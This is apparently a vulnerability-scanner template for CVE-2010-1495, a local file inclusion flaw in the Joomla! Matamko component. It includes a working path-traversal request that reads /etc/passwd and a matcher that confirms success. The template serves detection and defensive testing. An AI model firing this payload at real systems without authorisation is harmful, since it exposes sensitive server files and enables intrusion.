id: CVE-2010-1495

info:
  name: Joomla! Component Matamko 1.01 - Local File Inclusion
  author: daffainfo
  severity: high
  description: A directory traversal vulnerability in the Matamko (com_matamko) component 1.01 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the entire Joomla! installation.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/12286
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1495
    - http://www.vupen.com/english/advisories/2010/0929
    - http://packetstormsecurity.org/1004-exploits/joomlamatamko-lfi.txt
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2010-1495
    cwe-id: CWE-22
    epss-score: 0.18938
    epss-percentile: 0.97012
    cpe: cpe:2.3:a:matamko:com_matamko:1.01:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: matamko
    product: com_matamko
  tags: cve2010,cve,joomla,lfi,edb,packetstorm,matamko,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_matamko&controller=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100f68510ccb3a31cfbe2e51cb09853af7540958ea27cd5b534a125562dd885de52022100f665f908053bd76e05988094023bc210bbb3e370406c8a2910b0a5fa71693a16:922c64590222798bb761d5b6d8e72950